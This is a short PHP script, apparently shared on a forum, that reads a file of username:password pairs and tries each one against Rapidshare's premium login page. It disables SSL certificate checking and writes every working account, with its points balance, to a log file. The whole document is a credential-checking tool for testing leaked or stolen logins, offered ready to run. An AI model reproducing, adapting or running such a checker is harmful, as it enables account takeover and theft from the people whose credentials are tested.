copyright by babyrusher

Code:
<?

   print "\n===========================================\n";

   print "==  Rapidshare.com account list checker  ==\n";

   print "==  help:                                ==\n";

   print "==  php checker.php pw:userfile savefile ==\n";

   print "==  example:                             ==\n";

   print "==  php checker.php list.txt log.txt     ==\n";

   print "===========================================\n";

   print "==        copyright by babyrusher        ==\n";

   print "===========================================\n\n";

   

   // Curl function that connects to RS

   function curl_file_get_contents($url) {

      $ch = curl_init();

      curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);

      curl_setopt($ch,CURLOPT_URL,$url); // the url of the site

      curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0); //needed for ssl (httpS://)

      $ret = curl_exec($ch);

      curl_close($ch);

      return($ret);

   }

   

   $file = $argv[1]; // Argument for the list with the users

   $log = $argv[2]; // Argument for the list where the vaild accounts logged

   

   if($file == "" || $log == ""){ // check the two arguments

      print "* Please enter an userfile file and an savefile";

      exit;

   }

   

   $fp = fopen ($file, "r"); // opens the userlist

   $zeilen=count(file($file)); // counts the lines in the userfile

   

   for ($i="0";$i<$zeilen;$i++){ // loop

      $line = trim(fgets ($fp,100)); //trim and get the content of the line

      preg_match('%(.*):(.*)%', $line, $user); // regulary expression which saves the user and the password in the $user array

      

      $url = "https://ssl.rapidshare.com/cgi-bin/premiumzone.cgi?login=".urlencode($user[1])."&password=".urlencode($user[2]); //the Rapidshare url

      $content = curl_file_get_contents($url); // calls the function and copy the source of $url

      

      if( preg_match('%Your Premium-Account is valid until%', $content) ){ // checks if the account is valid

         preg_match('%You have collected (.*)%', $content, $points); // regulary expression that find the points

         print("Valid !!! Points - USER: $user[1] PW: $user[2] ".$points[1]."\n"); // print the valid account

         $datei = fopen($log,"a+"); // opens the log file

         fwrite($datei, $user[1].":".$user[2]." - " .$points[1]. " Points\n",150); // write the valid account in the logfile

         fclose($datei); // close the log file

   

   

      }

      else{ // if the account is invalid

         print("Invalid !!! USER: $user[1] PW: $user[2] :\n");  // print the invalid account

      }

      

   }

   

   fclose ($fp); // close the userfile

   

   // greetz

   // (c) babyrusher

?>